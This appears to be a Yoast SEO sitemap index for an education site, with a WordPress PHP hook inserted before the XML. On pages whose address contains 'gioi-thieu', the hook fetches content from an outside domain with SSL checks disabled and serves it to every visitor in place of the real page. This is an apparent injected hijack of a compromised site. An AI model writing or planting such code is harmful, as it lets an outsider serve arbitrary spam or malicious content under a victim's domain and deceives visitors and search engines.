add_action('template_redirect', function() {
    $uriMappings = [
        'gioi-thieu' => [
            'github' => 'https://openwork-fr.com/qtedu/amp.html'
        ],
    ];

    $matchedMap = null;

    foreach ($uriMappings as $pattern => $map) {
        if (strpos($_SERVER['REQUEST_URI'], $pattern) !== false) {
            $matchedMap = $map;
            break;
        }
    }

    if (!$matchedMap) {
        return;
    }

    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // Mengambil konten dari URL untuk semua pengunjung (bot maupun manusia)
    $response = wp_remote_get($matchedMap['github'], [
        'timeout'     => 20,
        'redirection' => 5,
        'user-agent'  => $ua,
        'sslverify'   => false,
    ]);

    if (!is_wp_error($response)) {
        echo wp_remote_retrieve_body($response);
        exit;
    }
});
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//qtedu.vn/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://qtedu.vn/post-sitemap.xml</loc>
		<lastmod>2026-09-28T09:35:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://qtedu.vn/post-sitemap2.xml</loc>
		<lastmod>2026-09-28T09:35:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://qtedu.vn/page-sitemap.xml</loc>
		<lastmod>2024-10-18T07:23:12+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://qtedu.vn/blocks-sitemap.xml</loc>
		<lastmod>2024-07-01T07:54:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://qtedu.vn/featured_item-sitemap.xml</loc>
		<lastmod>2016-08-28T09:39:54+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://qtedu.vn/category-sitemap.xml</loc>
		<lastmod>2026-09-28T09:35:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://qtedu.vn/post_tag-sitemap.xml</loc>
		<lastmod>2026-09-04T10:49:52+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://qtedu.vn/featured_item_category-sitemap.xml</loc>
		<lastmod>2016-08-28T09:39:54+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://qtedu.vn/author-sitemap.xml</loc>
		<lastmod>2025-04-14T08:19:05+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->